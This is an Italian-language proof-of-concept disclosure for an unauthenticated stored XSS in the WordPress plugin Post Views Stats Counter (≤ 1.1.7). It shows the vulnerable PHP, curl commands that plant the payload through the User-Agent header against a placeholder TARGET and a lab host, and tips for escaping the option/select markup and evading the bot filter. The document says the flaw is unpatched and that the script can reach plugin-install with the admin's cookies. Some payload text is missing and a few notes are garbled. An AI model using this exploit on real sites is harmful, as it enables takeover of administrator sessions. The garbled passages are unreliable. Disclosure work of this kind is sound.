
Proof-of-concept per CVE-2026-97347, una XSS memorizzata non autenticata nel plugin WordPress Post Views Stats Counter tramite l'header User-Agent, con i passaggi di riproduzione.
| Plugin | Post Views Stats Counter |
| Versione interessata | ≤ 1.1.7 |
| Classe di vulnerabilità | XSS memorizzato non autenticato |
| Punto di ingresso | Header HTTP User-Agent |
| Sink | Pagina delle statistiche di amministrazione (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 Alto |
| Stato | Non corretto al momento della divulgazione, nessuna versione corretta nota fino ad ora |
| Ricercatore | Nawaf Althurwi |
Il plugin registra ogni visualizzazione di pagina, incluso l'header User-Agent del visitatore, in una tabella personalizzata (wp_pvs_counter). Ecco dove recupera l'header — nessuna sanificazione in tutto il percorso:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
L'unica difesa in ingresso è un filtro anti-bot, e si tratta solo di una blacklist di sottostringhe:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
La lista predefinita è bot, spider, crawler. Tutto ciò che non contiene queste sottostringhe viene memorizzato. Questo è l'intero filtro.
Sul lato dell'output, la pagina di amministrazione costruisce un menu a discesa di "user agent registrati" e stampa il valore memorizzato grezzo all'interno del tag <option> — esc_attr() protegge l'attributo value ma l'etichetta visibile è un semplice echo:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Una richiesta non autenticata con HTML nell'header User-Agent finisce quindi per essere eseguita nel browser dell'amministratore la volta successiva in cui apre la pagina delle statistiche del plugin. Un classico XSS memorizzato, senza autenticazione, senza alcuna interazione da parte della vittima oltre alla visualizzazione della propria dashboard.
Un'ulteriore limitazione da conoscere: la colonna useragent è varchar(155), quindi il payload deve rimanere sotto i 155 caratteri.
Qualsiasi URL registrato va bene — la pagina iniziale /?p=1 è sufficiente. Sostituisci TARGET con l'host WordPress e YOUR_PAYLOAD con ciò che vuoi eseguire nella sessione dell'amministratore:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Note sulla forma del payload:
</option></select> fa uscire il valore dal markup del menu a tendina — non è decorazione, senza di esso l'iniezione resta intrappolata all'interno del tag <option>.bot/spider/crawler (senza distinzione tra maiuscole e minuscole) altrimenti la richiesta viene filtrata come bot prima di raggiungere il database.alert(), usa   invece — alcuni client HTTP alterano gli spazi nei valori degli header.Il one-liner che ho usato nel mio laboratorio:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Solo un semplice curl. HTTP 200 significa che la visualizzazione è stata conteggiata e l'header è finito nel database.
Apri Impostazioni → Post Views Stats Counter come amministratore (oppure aggiorna se è già aperto). Il payload viene renderizzato come parte dell'elenco dei widget delle statistiche e l'onerror si attiva:

S:C — l'XSS viene eseguito su wp-admin, quindi può chiamare gli endpoint admin-ajax e plugin-install con i cookie dell'amministratore)
Qualità superiore se vuoi scorrere/mettere in pausa: exploit-vid.mp4
Testato sulla versione 1.1.7 su WordPress 6.x in un laboratorio Docker locale. Non autenticato, nessuna interazione dell'utente oltre all'apertura della pagina delle statistiche.